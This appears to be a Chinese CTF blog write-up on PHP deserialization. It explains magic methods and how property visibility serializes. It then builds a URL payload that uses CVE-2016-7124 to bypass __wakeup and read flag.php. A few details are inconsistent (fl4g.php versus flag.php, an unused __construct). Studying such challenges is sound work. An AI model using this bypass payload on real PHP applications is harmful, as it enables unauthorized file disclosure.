CTF——php反序列化

CTF——php反序列化

题目:

<?php 
class ccsc{ 
  private $file='index.php';
  function __destruct(){ 
    if(!empty($this->file)) {
      if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
        show_source(dirname (__FILE__).'/'.$this ->file);
      else
        die('ccsc');
    }
  }  
  function __wakeup(){
   $this-> file='index.php';
  } 
  public function __toString(){
    return '' ;
  }
}     
if (!isset($_GET['file'])){ 
  show_source('index.php');
}
else{ 
  $file=$_GET['file']; 
  echo unserialize($file); 
}
 ?> 

一、魔术函数

<?php
class Test{
	public function __construct(){
	echo 'construct run';
	}
	public function __destruct(){
	echo 'destruct run';
	}
	public function __toString(){
	echo 'toString run';
	}
	public function __sleep(){
	echo 'sleep run';
	}
	public function __wakeup(){
	echo 'wakeup run';
	}
}
/**/
echo'new了一个对象,对象被创建,执行__construct</br>';
$test= new Test();
/**/
echo'</br>serialize了一个对象,对象被序列化,先执行__sleep,再序列化</br>';
$sTest= serialize($test);
/**/
echo'</br>unserialize了一个序列化字符串,对象被反序列化,先反序列化,再执行__wakeup</br>';
$usTest= unserialize($sTest);
/**/
echo'</br>把Test这个对象当做字符串使用了,执行__toString</br>';
$string= 'hello class ' . $test;
/**/
echo'</br>程序运行完毕,对象自动销毁,执行__destruct</br>';
?>

题中有三个魔术方法
__construct(),创建时自动调用,用得到的参数覆盖刀了file。
__destruct(),销毁时调用,会显示文件的代码,这里要显示fl4g.php
__wakeup(),反序列化时调用,会把$file重置成index.php

二、关键字的使用

1、关键字的使用——protected:

<?php
class ccsc { 
	protected $file = 'index.php'; 
}
$a= new ccsc();
echo serialize($a);
?>

输出:
O:4:“ccsc”:1:{s:7:“空格*空格file”;s:9:“index.php”;}
2、关键字的使用——private:

<?php
class ccsc { 
	private $file = 'index.php'; 
}
$a= new ccsc();
echo serialize($a);
?>

输出:
O:4:“ccsc”:1:{s:10:“空格ccsc空格file”;s:9:“index.php”;}
3、关键字的使用——public:

<?php
class ccsc { 
	public $file = 'index.php'; 
}
$a= new ccsc();
echo serialize($a);
?>

输出:
O:4:“ccsc”:1:{s:4:“file”;s:9:“index.php”;}

三构造payload:

绕过__wakeup()是利用CVE-2016-7124,例如:
O:4:“ccsc”:2:{s:4:“file”;s:9:“index.php”;}
(正常是O:4:“Demo”:1:…),反序列化化时不会触发__wakeup()。
由于这里的 file 变量为私有变量,所以序列化之后的字符串开头结 尾各有一个空白字符(即\00)。
所以构造 payload:
/?file=O:4:“ccsc”:2:{S:10:“\00ccsc\00file”;s:8:“flag.php”;}
成功拿到flag。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值